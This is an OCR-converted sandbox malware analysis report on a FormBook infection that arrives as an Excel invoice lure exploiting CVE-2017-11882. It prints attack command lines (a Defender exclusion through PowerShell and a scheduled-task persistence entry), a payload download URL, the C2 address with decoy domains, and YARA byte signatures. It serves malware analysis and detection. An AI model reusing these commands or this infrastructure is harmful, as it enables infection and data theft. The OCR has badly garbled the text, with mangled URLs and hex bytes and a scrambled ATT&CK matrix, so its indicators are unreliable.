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Windows Analysis Report PROFORMA INVOICE.xIsx

Found malware configuration

wES HCR' HCA'
do B VW

. . Multi AV Scanner detection for subm...
Most interesting Screenshot:

Overview
General Information Detection Classification
Sample PROFORMA
Name: INVOICE .xlsx MALICIOUS Snort IDS alert for network traffic (e....
Analysis ID: 528789 Sigma detected: EQNEDT32.EXE c...
MDS: f0e46abad5165b1. Yara detected AntiVM3
SHAL: 2ea511219e2c3d..
System process connects to networ...
SHA256: 009dfe9d9409704. - " "
Antivirus detection for URL or domain
Sigma detected: Suspect Svchost A...
Infos: DEQaRQ

o FormBook Yara detected FormBook
""""" Score: 100 Malicious sample detected (through ...
Range: 0-100 Sigma detected: Droppers Exploiting...
Whitelisted: false
Sigma detected: File Dropped By EQ...
Confidence: 100% Y fi yEQ

@
«Q
>
2
c
=
@
]

Process Tree

= System is w7x64

. EXCEL.EXE (PID: 1212 cmdline: "C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE" /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)
. ﬁ EQNEDT32.EXE (PID: 2828 cmdline: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding MD5:
AB87236E214F6D42A65F5DEDAC816AECS)
e [ vbc.exe (PID: 2224 cmdline: "C:\Users\Public\vbc.exe" MD5: 6926A53FA91CAB577D52942A39E5FB53)
e g4 powershell.exe (PID: 2776 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roamin
g\nLOIOTZpUHFzC.exe MD5: 92F44E405DB16AC55D97E3BFE3B132FA)
e [ schtasks.exe (PID: 2916 cmdline: C:\Windows\System32\schtasks.exe" /Create /TN "Updates\nLOIOTZpUHFzC" /XML "C:\Users\user\AppData\Local\Temp\tmp5580.tmp
MD5: 2003E9B15E1C502B146DAD2E383AC1E3)
e [B vbc.exe (PID: 3008 cmdline: C:\Users\Public\vbc.exe MD5: 6926A53FA91CAB577D52942A39E5FB53)
o [m explorer.exe (PID: 1764 cmdline: C:\Windows\Explorer. EXE MD5: 38AE1B3C38FAEF56FE4907922F0385BA)
o [B] autofmt.exe (PID: 1964 cmdline: C:\Windows\SysWOW64\autofmt.exe MD5: A475B7BBOCCCFD848AA26075E81D7888)
e [m svchostexe (PID: 2608 cmdline: C:\Windows\SysWOW64\svchost.exe MD5: 54A47F6B5E09A77E61649109C6A08866)
= cleanup

Malware Configuration

Threatname: FormBook
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"C2 list": [
"www. septemberstockevent200.com/ht08/"

1,

"decoy": [
"joye.club",
"istanbulemlakgalerisi.online”,
"annikadaniel. love",
"oooci.com",
"curebase-test.com",
"swisstradecenter.com”,
"hacticum.com”,
"centercodebase.com”,
"recbi5éni.com”,
"mmj0115.xyz",
"sharpstead.com”,
"sprklbeauty.com",
"progettogenesi.cloud”,
"dolinum.com",
"amaroqadvisors.com",
"traininig.com"”,
"leewaysvcs.com",
"nashhomesearch.com”,
"joy1263.com",
"serkanyamac.com",
"nursingprogramsforme.com”,
"huakf.com",
"1w3.online",
"watermountstean. top”,
"tyralruutan.quest”,
"mattlambert.xyz",
"xn--fiqs8sypgfujblda.xn--czru2d”,
"hfgoal.com",
"587868.net",
"noyoucantridemyonewheel.com"”,
"riewesell.top",
"expn.asia",
"suplementarsas.com",
"item154655544.com",
"cdgdentists.com”,
"deboraverdian.com”,
"franquiciasexclusivas.tienda”,
"tminus-10.com",
"psychoterapeuta-wroclaw.com”,
"coachingbywatson.com",
"lknitti.net",
"belenpison.agency",
"facilitetec.com”,
"99077600.com",
"thefitmog.com",
"kinmanpowerwashing.com",
"escueladelbuenamor.com",
"getjoyce.net",
"oilelm.com",
"maikoufarm.com”,
"hespresso.net”,
"timothyschmallrealt.com”,
"knoxvilleraingutters.com”,
"roonkingagency.online"”,
"trashwasher.com",
"angyfoods.com",
"yungbredda.com”,
"digipoint-entertainment.com"”,
"shangduli.space”,
"kalaraskincare.com”,
"ktnsound.xyz",
"miabellavita.com",
"thenlpmentor.com",
"marzhukov.com"

Yara Overview

Memory Dumps

Source Rule

0000000A.00000000.480207379.0000000009780000.00000 JoeSecurity_FormBook
040.00020000.sdmp

Copyright Joe Security LLC 2021

Description

Yara detected
FormBook

Author

Joe Security

Strings
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Source

0000000A.00000000.480207379.0000000009780000.00000 Formbook_1

040.00020000.sdmp

0000000A.00000000.480207379.0000000009780000.00000 Formbook

040.00020000.sdmp

Rule Description

yara-signator

memory

00000009.00000002.495167192.00000000000F0000.00000 JoeSecurity_FormBook  Yara detected

040.00020000.sdmp

00000009.00000002.495167192.00000000000F0000.00000 Formbook_1

040.00020000.sdmp

Unpacked PEs

Source

4.2.vbc.exe.228f148.2.raw.unpack
9.0.vbc.exe.400000.9.unpack

9.0.vbc.exe.400000.9.unpack

9.0.vbc.exe.400000.9.unpack

4.2.vbc.exe.22fc90c.3.raw.unpack

Sigma Overview

Exploits:

Sigma detected: EQNEDT32.EXE connecting to internet

FormBook

yara-signator

Click to see the 31 entries

Rule Description Author
JoeSecurity_AntiVM_3  Yara detected Joe Security
AntivM_3
JoeSecurity_FormBook  Yara detected Joe Security
FormBook
Formbook_1 autogenerated rule Felix Bilstein -
brought to you by  yara-signator at
yara-signator cocacoding dot
com
Formbook detect Formbook in JPCERT/CC
memory Incident Response
Group
JoeSecurity_AntiVM_3  Yara detected Joe Security

AntivM_3

Click to see the 18 entries

autogenerated rule
brought to you by

detect Formbook in

autogenerated rule
brought to you by

Author

Felix Bilstein -
yara-signator at
cocacoding dot
com

JPCERT/CC

Incident Response

Group

Joe Security

Felix Bilstein -
yara-signator at
cocacoding dot
com

o

e o o o o o e o o o o o

o

e o o o

e o o o

e o o o .

e o o o

e o o o o o

Strings

0x46b5:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

Ox4lal:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x47b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x492f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x341c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0x9ba7:$sequence_8: 3C 54 74 04 3C 74 75 F4
Oxacb5a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE F
F FF 6A 00

0x6ad9:$sqlite3step: 68 34 1C 7B E1
Ox6bec:$sqlite3step: 68 34 1C 7B E1
0x6b08:$sqlite3text: 68 38 2A 90 C5
0x6c2d:$sqlite3text: 68 38 2A 90 C5
0x6b1b:$sqlite3blob: 68 53 D8 7F 8C
0x6c43:$sqlite3blob: 68 53 D8 7F 8C

0x8608:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x89a2:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x146b5:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

0x14lal:$sequence_2: 3B 4F 14 73 9585 C9 74 91
0x147b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x1492f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x93ba:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06

0x1341c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
Oxal32:$sequence_7: 66 89 0C 02 5B 8B E5 5D
Ox19ba7:$sequence_8: 3C 54 74 04 3C 74 75 F4
Oxlac5a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00

Strings

0x7808:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x7ba2:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x138b5:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
74 94

0x133al:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x139b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x13b2f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x85ba:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06

0x1261c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0x9332:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x18da7:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x19e5a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00

0x15cd9:$sqlite3step: 68 34 1C 7B E1
0x15dec:$sqlite3step: 68 34 1C 7B E1
0x15d08:$sqlite3text: 68 38 2A 90 C5
0x15e2d:$sqlite3text: 68 38 2A 90 C5
0x15d1b:$sqlite3blob: 68 53 D8 7F 8C
0x15e43:$sqlite3blob: 68 53 D8 7F 8C

Sigma detected: File Dropped By EQNEDT32EXE

System Summary:

Sigma detected: Suspect Svchost Activity

Copyright Joe Security LLC 2021
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Sigma detected: Droppers Exploiting CVE-2017-11882

Sigma detected: Non Interactive PowerShell

Sigma detected: Windows Processes Suspicious Parent Directory

Jbx Signhature Overview

@ Click to jump to signature section

AV Detection:

Antivirus detection for URL or domain
Found malware configuration
Multi AV Scanner detection for submitted file

Yara detected FormBook

=

Exploits:

Networking:

=

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

System process connects to network (likely due to code injection or exploit)

E-Banking Fraud:

=

Yara detected FormBook

] ‘

System Summary:

Malicious sample detected (through community Yara rule)

Data Obfuscation:

=

Boot Survival:

:

Malware Analysis System Evasion:

=

Yara detected AntiVM3
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HIPS | PFW | Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Stealing of Sensitive Information:

Yara detected FormBook

Remote Access Functionality: I I

Yara detected FormBook

Mitre Att&ck Matrix

Initial Privilege Credential Lateral Command and  Netw(
Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Exfiltration Control Effect
Valid Command and Scheduled Process Masquerading os Security Software Remote Archive Exfiltration Encrypted Eaves
Accounts  Scripting Task/Job @ Injection @ Credential Discovery Services Collected  Over Other Channel Insect
Interpreter Dumping Data Network Netwc
Medium Comn
Default Scheduled Boot or Scheduled Disable or Modify LSASS Process Discovery Remote Data from  Exfiltration Ingress Tool Exploi
Accounts  Task/Job Logon Task/Job Tools Memory Desktop Removable Over Transfer [{) Redire
Initialization Protocol Media Bluetooth Calls/:
Scripts
Domain Shared Logon Script Logon Script Virtualization/Sandbox  Security Virtualization/Sandbox SMB/Windows Data from Automated Non-Application Exploi
Accounts  Modules (Windows)  (Windows) Evasion Account  Evasion Admin Shares Network  Exfiltration  Layer Protocol [§) Track
Manager Shared Locati
Drive
Local Exploitation for Logon Script Logon Script Process NTDS Application Window  Distributed Input Scheduled Application Layer SIM C
Accounts  Client (Mac) (Mac) Injection Discovery Component  Capture  Transfer  Protocol Swap
Execution Object Model
Cloud Cron Network Network Logon  Deobfuscate/Decode  LSA Remote System SSH Keylogging Data Fallback Manip
Accounts Logon Script Script Files or Information Secrets Discovery Transfer Channels Devici
Size Limits Comn
Replication Launchd Rc.common  Rc.common Obfuscated Files or Cached File and Directory VNC GUI Input  Exfiltration  Multiband Jamm
Through Information Domain Discovery Capture Over C2 Communication  Denia
Removable Credentials Channel Servic
Media
External Scheduled Task Startup Startup Items Software DCSync System Information ~ Windows Web Portal Exfiltration Commonly Used Rogue
Remote Items Packing Discovery Remote Capture  Over Port Acces
Services Management Alternative
Protocol

Behavior Graph
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Screenshots

Thumbnails

Behavior Graph
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Sandae zsvnoan

£ coomee gy 0 ccuse Ay
[(OmnEE )
[} = Il

s acored e

Hide Legend
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Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language
Is malicious

Internet

This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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PROFORMA INVOICE - Microsoft Excel
Home | Insert  Page Layout Formulas Data Review  View

¥ cut

Ea copy v
B I U A =T $ 50 5.0 Format
- Format Painter = g ? o &2 Clear =

Clipboard Alignment

: = -
Calibri = > : 1 7
= @] Fin - £

Editing

Content Locked.
Please enable Editing and Content from the Yellow bar
above to view locked content.

M 4 » M| Sheet2 Sheet3

Ready | \E@ 100% (=,

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection Scanner Label

PROFORMA INVOICE.xlsx 31% ReversingLabs Document-
OLE.Exploit.CVE-
2017-11882

Dropped Files

No Antivirus matches

Unpacked PE Files

Source Detection Scanner Label Link

9.0.vbc.exe.400000.9.unpack 100% Avira TR/Crypt.ZPACK.Gen

9.0.vbc.exe.400000.7.unpack 100% Avira TR/Crypt.ZPACK.Gen

9.0.vbc.exe.400000.5.unpack 100% Avira TR/Crypt.ZPACK.Gen

9.2.vbc.exe.400000.1.unpack 100% Avira TR/Crypt.ZPACK.Gen

Domains

Source Detection Scanner Label

trashwasher.com 0% Virustotal

Copyright Joe Security LLC 2021

Link

Download

Download File
Download File
Download File

Download File

Link

Browse
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https://www.virustotal.com/gui/url/b51594c20b93d4e7f4e54012cb5ae7ff50594d610cb1cc45a4066fc90dad4485/detection/u-b51594c20b93d4e7f4e54012cb5ae7ff50594d610cb1cc45a4066fc90dad4485-1557077985

URLs

Source Detection Scanner Label Link
http://wellformedweb.org/CommentAPI/ 0% URL Reputation safe
http:/fwww.hacticum.com/ht08/? 0% Avira URL Cloud safe

br2=NsDQ5dhzDoz6b+QTI369eNhdKzsm5WWXC1glelLkMaMU2QVIAgjladvOXRSgFt55bwDZkw==&fD
KD5Z=IbLdxBhXWNSHTR

hitp://107.173.229.133/90009/vbc.exe 0% AviraURL Cloud  safe
http:/fwww.iis.fhg.de/audioPA 0% URL Reputation safe
http:/fwww.mozilla.comO 0% URL Reputation safe
www.septemberstockevent200.com/ht08/ 0% Avira URL Cloud safe
http:/fwindowsmedia.com/redir/services.asp? WMPFriendly=true 0% URL Reputation safe
http:iitreyresearch.net 0% URL Reputation safe
http:/fjava.sun.com 0% URL Reputation safe
http:/fwww.icra.org/vocabulary/. 0% URL Reputation safe
http:/fwww.franquiciasexclusivas.tienda/ht08/? 0% AviraURL Cloud  safe

br2=Wj4EIVjQBNu/bqqxJYrWPsWLHRdbpU/VGyAVKo6IxXme9nj69vNHjvuNthgXxUIvimxQ8w==&fDKD
5Z=IbLdxBhXWNSHTR

http:/fwww.trashwasher.com/ht08/? 0% Avira URL Cloud  safe
br2=uW1sPHtBOFcvSjOqiE7uYKYBCRwWI67TpFIDAp4EO6MgnVSdI1zAyFQ+ogdnPtirgP8DITg==&fDK
D5Z=IbLdxBhXWNSHTR

http:/fcomputername/printers/printername/.printer 0% Avira URL Cloud safe
http:/fwww.%s.comPA 0% URL Reputation safe
http:/fwww.noyoucantridemyonewheel.com/ht08/? 0% Avira URL Cloud safe

br2=60BX3p/jKqTFfatzdk67FZjwUvooQvGFnODgWFokXaJ7H/RmjwYG/Htt7Nd+S+ztCPQGkw==&fDKD
5Z=IbLdXxBhXWNSHTR

http:/fservername/isapibackend.dll 0% Avira URL Cloud  safe

Domains and IPs

Contacted Domains

Name P Active Malicious Antivirus Detection Reputation

hacticum.com 34.102.136.180 true false unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation

hitp://www.hacticum.com/ht08/? false e Avira URL Cloud: safe unknown
br2=NsDQ5dhzDoz6b+QTI369eNhdKzsm5WWXC1glelLkMaMU2QVIAgjladvOXRSgFt55bwD
Zkw==&fDKD5Z=IbLdXxBhXWNSHTR
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https://www.virustotal.com/gui/url/b51594c20b93d4e7f4e54012cb5ae7ff50594d610cb1cc45a4066fc90dad4485/detection/u-b51594c20b93d4e7f4e54012cb5ae7ff50594d610cb1cc45a4066fc90dad4485-1557077985

URLs from Memory and Binaries

Contacted IPs

Public

Domain Country Flag ASN Name Malicious

34.102.136.180 hacticum.com United States 15169 GOOGLEUS false

General Information

Joe Sandbox Version: 34.0.0 Boulder Opal
Analysis ID: 528789
Start date: 25.11.2021
Start time: 19:25:13
Joe Sandbox Product: CloudBasic
Overall analysis duration: Oh 10m 54s
Hypervisor based Inspection enabled: false
Report type: light
Sample file name: PROFORMA INVOICE.xlsx
Cookbook file name: defaultwindowsofficecookbook.jbs
Analysis system description: Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET
4.6.2)
Number of analysed new started processes 13
analysed:
Number of new started drivers analysed: 0
Number of existing processes analysed: 0
Number of existing drivers analysed: 0
Number of injected processes analysed: 1
Technologies: e HCA enabled
e EGA enabled
e HDC enabled
e AMSI enabled
Analysis Mode: default
Analysis stop reason: Timeout
Detection: MAL
Classification: mal100.troj.expl.evad.winXLSX@12/26 @7/6
EGA Information: Failed
HDC Information: e Successful, ratio: 20.2% (good quality ratio 18.7%)

e Quality average: 75.5%
e Quality standard deviation: 30.4%

HCA Information: e Successful, ratio: 92%
e Number of executed functions: 0
Number of non-executed functions: 0

Cookbook Comments: Adjust boot time

Enable AMSI

Found application associated with file extension: .xIsx
Found Word or Excel or PowerPoint or XPS Viewer
Attach to Office via COM

Scroll down

Close Viewer

Warnings: Show All

Copyright Joe Security LLC 2021 Page 12 of 36



Simulations

Behavior and APIs

Time Type Description

19:26:36 API Interceptor 62x Sleep call for process: EQNEDT32.EXE modified
19:26:38 API Interceptor 116x Sleep call for process: vbc.exe modified
19:26:42 API Interceptor 1x Sleep call for process: schtasks.exe modified
19:26:42 API Interceptor 9x Sleep call for process: powershell.exe modified
19:27:00 API Interceptor 181x Sleep call for process: svchost.exe modified

Joe Sandbox View | Context

IPs

Match Associated Sample Name / URL SHA 256 Detection Link Context

192.0.78.25 Get hash malicious Browse e www.divor
cefearfree
dom.com/n8ds/?
2dfPiT
=06P8yX&6l
dD=xIQOWin
+OWEEdOu7B
qbL/FEFI5i
fiIBMXL9UXM
pB5xFgkztp
NPhPNR2/8w
Qo09B3jWcPv9

Get hash malicious Browse * www.noyou
cantridemy
onewheel.c
om/ht08/?g
6=W2JpTxSO
fT&OH=60BX
3p/mKtTBfK
h/tk67FZjw
UvooQvGFnO
bwKGO0IT6J6
HO9gkgJKpD
Vv4oxoWu3e
JMN2

Get hash malicious Browse * www.somew
hereatllpm
.com/cfh2/?
DxIpdHd=F
QNpdzT7MRb
4jh54gcTYM
7WdCCYWgV6
6X7QuMIK6V
r1ISG4+ML
huSVeG612a
6JQnaun&NO
D=p2MxCO01

Get hash malicious Browse o www.kgv-l
achswehr.c
om/ea0r/?q
6A=c9rlrwb
5I0PsvCqzf
PZLJ32YXU7
IPLK2cV3vo
PHeBIiJjRGf
36/05Za+oF
h8vHdrIvEL
f&6loxs=HB
ZOFn4hGVwHhj
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https://view.joesandbox.com/analysis/416207/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416207/html/none?idtype=webid
https://view.joesandbox.com/analysis/415016/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415016/html/none?idtype=webid
https://view.joesandbox.com/analysis/413232/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/413232/html/none?idtype=webid
https://view.joesandbox.com/analysis/412113/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/412113/html/none?idtype=webid

Match

Copyright Joe Security LLC 2021

Associated Sample Name /| URL SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Detection

malicious

malicious

malicious

malicious

malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Context

o www.ctfel

dsine.com/benx/?
2d3D
yD=1sWTfow
0M/OcmFQ8c
7RvsQXq4lQ
pokGzy5GD7
fOQ5t6djwK
RgFzLGePHa
9MtusCiNrz
CanCAnA==
n2=Q0GdGJJ
x9bb

www.fourj
media.com/
w8n5/?6ILt
oDQ=Krsevr
OacNdBVz6R
Z+BCLUY6bu
AyCdOHDUJL
BmAGWGOQ3Z
e2lbajoOmG
COMYdp2HBO
MOmQ==&FXa
=ynMhLIDX-

www.resta
uracaorioa
ntigo.com/adén/?
j8=dN6ap+281HM
Ix/cBnsfNi
JKgAgOLUMP
5hOtXEPSmM2
LVrdnh6NyD
uphd4vZcriw
cQUxkSt&Zb
vDk=6IVDhp5P

www.wonde
rfulwithyo
u.com/ntfs/?
ROGxUr=T
3o07Jxac/pl
y1HmMZ6RD9c
h9fD930ONyr
GRcDBRgOzA
NC190WVMGU
JoawwGB6uh
QsDWOXQ&fV
2TtL=ld6XY
6aH1dIL

www.fourj
media.com/
w8n5/2dN9X
A=1bj80L6H
3ZghY&gXmt
=KrsevrOfc
KdFVj2db+B
CLUY6buAyC
dOHDU7bdlc
HSMOR3oywP
LLv+weEBRg
kGJC001Z+

www.resta
uracaorioa
ntigo.com/adén/?
3feDzx=dN6ap+2
51AMMXVQNI
sfNijKgAg0
LUMP5hO1HY
MOnyrVgdwWN
8KiSi/lAta
5Her8kn+IH
dVw==&4hRH
=5jfHHT9Ha
P5P3fh
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https://view.joesandbox.com/analysis/405831/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/405831/html/none?idtype=webid
https://view.joesandbox.com/analysis/405537/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/405537/html/none?idtype=webid
https://view.joesandbox.com/analysis/404994/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/404994/html/none?idtype=webid
https://view.joesandbox.com/analysis/403989/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/403989/html/none?idtype=webid
https://view.joesandbox.com/analysis/403962/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/403962/html/none?idtype=webid
https://view.joesandbox.com/analysis/403239/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/403239/html/none?idtype=webid

Match

Copyright Joe Security LLC 2021

Associated Sample Name /| URL SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Context

www.faith
truthresol
ve.com/unzn/?
tOGH=Q6
SPythX2&EJ
E=YX6yD3qj
KEh06A43Kv
IzsqallJGg
tNpO3VOCMH
kgx/DYAB3i
6lhcxQdv+J
uPBhQOz43W
mOdN7Q==

www.malat
irada.com/bOus/?
ER-tHjR=nj2DHC
J30hKQOuuh
7v1JIr5ANXh
hKiZRTWmMKD
hPt9Qsa3u7
kGOyWIFw/1
cLMOhBLADg
ukMweénkg==
&7nB=048X

WWWw.nosec
retszone.c
om/fkt8/?Z
DK=mNIOBHG
sgt7OHZ699
uHISKUKIWK
4+ipmZNfGt
b6EFyItM]j3
jfdT07SI112
zg4vO0AJHPV
Q&8p=Srzh-
DXxyzvTPn

www.resha
wna.com/fpdi/?
UzrXkD=qrLzJJd/f
FMNbEFfGUI
er/7yxiwyYw
mIVbn5YkKn
BYd+fmPaOJ
U7al9nu96T
kQnRjXBqS&
1bZH=y2J0b
DKpKf

www.givep
y.info/s18y/?
u8PLY2=
IBZTQLaxpb
2L1&cOoDXII
=697MTAEVX
VVEXUyAJF2
0F1320ezI1
1QIpw2PkmQ
S81IH+yWL]
KrG7SsVWHy
sXe3cLhwe

www.apren
des.academ
y/bkqi/?sJ
EPur6=2qD0
GmBALIgJtl
6Ab/GdiO1L
PIWYSMNY+7
zZIQPT6V3N
HgLS/8KBw4
LFUPUG+2Ik
6jGb&v6=22Jxrb

www.fis.p
hotos/ef6c/?
f4=iVGex
gJb98A8cI7
jGVHyDNIE3
XmNDIFVU6N
TGagmHr6XJ
XD4yK9Jp2k
POI9WE083;]
hOD&TtZId=2d8t
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https://view.joesandbox.com/analysis/401743/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/401743/html/none?idtype=webid
https://view.joesandbox.com/analysis/401174/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/401174/html/none?idtype=webid
https://view.joesandbox.com/analysis/400281/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400281/html/none?idtype=webid
https://view.joesandbox.com/analysis/399891/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/399891/html/none?idtype=webid
https://view.joesandbox.com/analysis/399694/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/399694/html/none?idtype=webid
https://view.joesandbox.com/analysis/397436/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/397436/html/none?idtype=webid
https://view.joesandbox.com/analysis/396160/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/396160/html/none?idtype=webid

Match

151.101.66.159

Domains

Match

www.franquiciasexclusivas.tienda

ASN

Match
PLUSSERVER-ASN1DE

Copyright Joe Security LLC 2021

Associated Sample Name / URL SHA 256

Get hash

Get hash

Get hash

Get hash

Get hash

SHA 256
Get hash

Associated Sample Name / URL

Get hash

SHA 256
Get hash

Associated Sample Name / URL

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash

Get hash

Detection

malicious

malicious

malicious

malicious

malicious

Detection
malicious

malicious

Detection
malicious
malicious
malicious
malicious
malicious
malicious

malicious

malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Link
Browse

Browse

Link

Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse

Browse

Context

www.fis.p
hotos/ef6c/?
16AhIz=i
VGcxgJh98A
8c97jGvHyD
NIE3XmNDIF
VUBNTGagmH
r6XJIXD4yK9
Jp2kPOLdsU
IcP5GVE&3f
9p=VDKHunXH5I

www.franc
iscoalpiza
r.com/gab8/?
q8=JN6ty
8i&fDK8WrJ
P=aNn3drJ7
gKfGewmMEz
fynAYMROYg
Fs/k/INvBrZ
cHmhiOvfyl
sJgCMvOKw9
0377nS3pzK
/k3zjw==

www.estudio-
me.com/cogu/?
E6=L5GjM02Qi9/
3ctzLfpx21
kbglnICP/P
mVfQkFp534
KYMBhdy6kz
6hr7HyPkdH
1b60tPYy&IX
eDOV=5jFpKDWXi

www.allin
cursive.co
m/edbs/?1b
J=Fx00jXLh
pT&jpTd3Lg
=dd1cZGNCV
XB3jbVCz5q
9gTpjsXtWO
B6XHEUQVSBQ
g9+a/oQvhn
HipOQL/9P7
MK+3rgWwov

www.drive
ucars.com/gypo/?
ZVah
UNV8=4NVpZ
NOR+1ziDFx
t3GIpQUMOW
WydCAxb/cl
wdQBNaJkA6
izdOsFYN7i
CdjTfPxrkn
p7VAg==&2d
Lp=ZXj8X2Kp-2C

Context
e 108.167.189.66
e 108.167.189.66

Context

e 212.162.14.217
e 62.138.219.11
e 89.19.249.213
31.210.20.79

46.163.80.217

31.210.20.192

151.106.11
9.144

151.106.11
9.144

62.138.244.25
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https://view.joesandbox.com/analysis/395293/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/395293/html/none?idtype=webid
https://view.joesandbox.com/analysis/395258/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/395258/html/none?idtype=webid
https://view.joesandbox.com/analysis/394641/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394641/html/none?idtype=webid
https://view.joesandbox.com/analysis/286010/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/286010/html/none?idtype=webid
https://view.joesandbox.com/analysis/270278/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/270278/html/none?idtype=webid
https://view.joesandbox.com/analysis/415016/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415016/html/none?idtype=webid
https://view.joesandbox.com/analysis/398383/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/398383/html/none?idtype=webid
https://view.joesandbox.com/analysis/413925/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/413925/html/none?idtype=webid
https://view.joesandbox.com/analysis/411562/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/411562/html/none?idtype=webid
https://view.joesandbox.com/analysis/409526/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/409526/html/none?idtype=webid
https://view.joesandbox.com/analysis/407550/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/407550/html/none?idtype=webid
https://view.joesandbox.com/analysis/407495/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/407495/html/none?idtype=webid
https://view.joesandbox.com/analysis/406945/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/406945/html/none?idtype=webid
https://view.joesandbox.com/analysis/405802/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/405802/html/none?idtype=webid
https://view.joesandbox.com/analysis/404000/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/404000/html/none?idtype=webid
https://view.joesandbox.com/analysis/403528/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/403528/html/none?idtype=webid

Match

AUTOMATTICUS

JA3 Fingerprints
No context

Dropped Files

No context

Associated Sample Name / URL SHA 256
Get hash

Get hash

Get hash

Get hash
Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash
Get hash
Get hash
Get hash
Get hash

Get hash
Get hash

Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Created / dropped Files

Detection

malicious

malicious

malicious

malicious

malicious

malicious
malicious
malicious
malicious
malicious

malicious

malicious
malicious
malicious
malicious

malicious

malicious

malicious

malicious

malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse
Browse
Browse
Browse
Browse

Browse

Browse
Browse
Browse
Browse

Browse

Browse

Browse

Browse

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Context

151.106.11
6.209

151.106.11
9.144

151.106.11
9.144

62.138.220.15

151.106.11
9.144

31.210.20.158
31.210.20.158
31.210.20.158
31.210.20.158
31.210.20.158
62.138.220.15

192.0.77.32
192.0.78.25
192.0.77.32
192.0.78.25
74.114.154.18

87.250.173.245
74.114.154.22

74.114.154.18

192.0.77.32
192.0.78.25
192.0.77.32
192.0.76.3
192.0.77.32
192.0.77.32
192.0.78.25
192.0.78.24
